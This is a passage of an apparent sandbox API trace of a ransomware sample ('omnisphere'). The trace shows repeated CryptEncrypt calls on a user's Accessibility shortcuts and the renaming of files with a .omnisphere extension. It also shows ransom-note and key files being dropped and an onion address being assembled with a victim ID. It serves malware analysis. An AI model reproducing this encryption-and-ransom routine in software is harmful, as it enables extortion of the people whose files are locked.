pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.552] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.552] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.552] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.552] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.552] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.552] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.552] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.552] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.552] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.552] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.552] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.552] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.552] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.552] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.552] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.552] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.552] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.552] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.552] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.552] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.552] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.552] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.552] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0131.552] CryptDestroyKey (hKey=0x1639b28) returned 1 [0131.552] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0131.553] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x454, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0131.553] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0131.553] GetProcessHeap () returned 0x1600000 [0131.553] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2e0) returned 0x1725320 [0131.554] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Narrator.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\narrator.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Narrator.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\narrator.lnk.omnisphere")) returned 1 [0131.557] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Narrator.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Narrator.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Narrator.lnk.omnisphere.id" [0131.557] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Narrator.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\narrator.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0131.558] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0131.559] CloseHandle (hObject=0x3b4) returned 1 [0131.560] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0131.560] CloseHandle (hObject=0x388) returned 1 [0131.560] SetEndOfFile (hFile=0x3c0) returned 1 [0131.672] FlushFileBuffers (hFile=0x3c0) returned 1 [0131.676] CloseHandle (hObject=0x3c0) returned 1 [0131.676] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\Narrator.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility") returned 1 [0131.676] GetProcessHeap () returned 0x1600000 [0131.676] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1725608 [0131.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0131.676] GetProcessHeap () returned 0x1600000 [0131.676] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fd870 [0131.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fd870, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0131.676] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0131.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0131.676] GetProcessHeap () returned 0x1600000 [0131.676] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710420 [0131.676] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710420, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0131.676] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0131.677] GetProcessHeap () returned 0x1600000 [0131.677] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe6) returned 0x16b26f8 [0131.677] PathCombineW (in: pszDest=0x16b26f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\!DECRYPT_OMNISPHERE.txt" [0131.677] GetProcessHeap () returned 0x1600000 [0131.677] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x171bcc0 [0131.677] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0131.677] WriteFile (in: hFile=0x3c0, lpBuffer=0x171bcc0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x171bcc0*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0131.677] CloseHandle (hObject=0x3c0) returned 1 [0136.325] GetProcessHeap () returned 0x1600000 [0136.325] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1725608 | out: hHeap=0x1600000) returned 1 [0136.325] GetProcessHeap () returned 0x1600000 [0136.325] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x172cff0 [0136.326] PathCombineW (in: pszDest=0x172cff0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\unique_decrypt.key" [0136.326] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0136.326] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0136.326] CloseHandle (hObject=0x3c0) returned 1 [0138.281] GetProcessHeap () returned 0x1600000 [0138.281] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172cff0 | out: hHeap=0x1600000) returned 1 [0138.282] GetProcessHeap () returned 0x1600000 [0138.282] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1625a28 | out: hHeap=0x1600000) returned 1 [0138.282] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210f9687, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210f9687, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4382ea4e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x452, dwReserved0=0x0, dwReserved1=0xbf, cFileName="On-Screen Keyboard.lnk", cAlternateFileName="ON-SCR~1.LNK")) returned 1 [0138.282] GetProcessHeap () returned 0x1600000 [0138.282] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe4) returned 0x16c0db0 [0138.282] PathCombineW (in: pszDest=0x16c0db0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility", pszFile="On-Screen Keyboard.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\On-Screen Keyboard.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\On-Screen Keyboard.lnk" [0138.282] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0138.282] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessibility\\On-Screen Keyboard.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessibility\\on-screen keyboard.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0138.283] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=1106) returned 1 [0138.283] GetTickCount () returned 0x1162727 [0138.283] GetTickCount () returned 0x1162727 [0138.283] GetTickCount () returned 0x1162727 [0138.283] GetTickCount () returned 0x1162727 [0138.283] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] GetTickCount () returned 0x1162727 [0138.284] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x1668928) returned 1 [0138.285] CryptImportKey (in: hProv=0x1668928, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x1639528) returned 1 [0138.286] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0138.286] CryptDestroyKey (hKey=0x1639528) returned 1 [0138.286] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0138.286] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x452, lpName=0x0) returned 0x388 [0138.286] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x452) returned 0x1480000 [0138.288] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x1668708) returned 1 [0138.289] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x1639528) returned 1 [0138.289] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0138.289] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0138.289] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.289] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.289] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.289] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.289] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.289] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.289] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.289] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.289] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0138.290] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 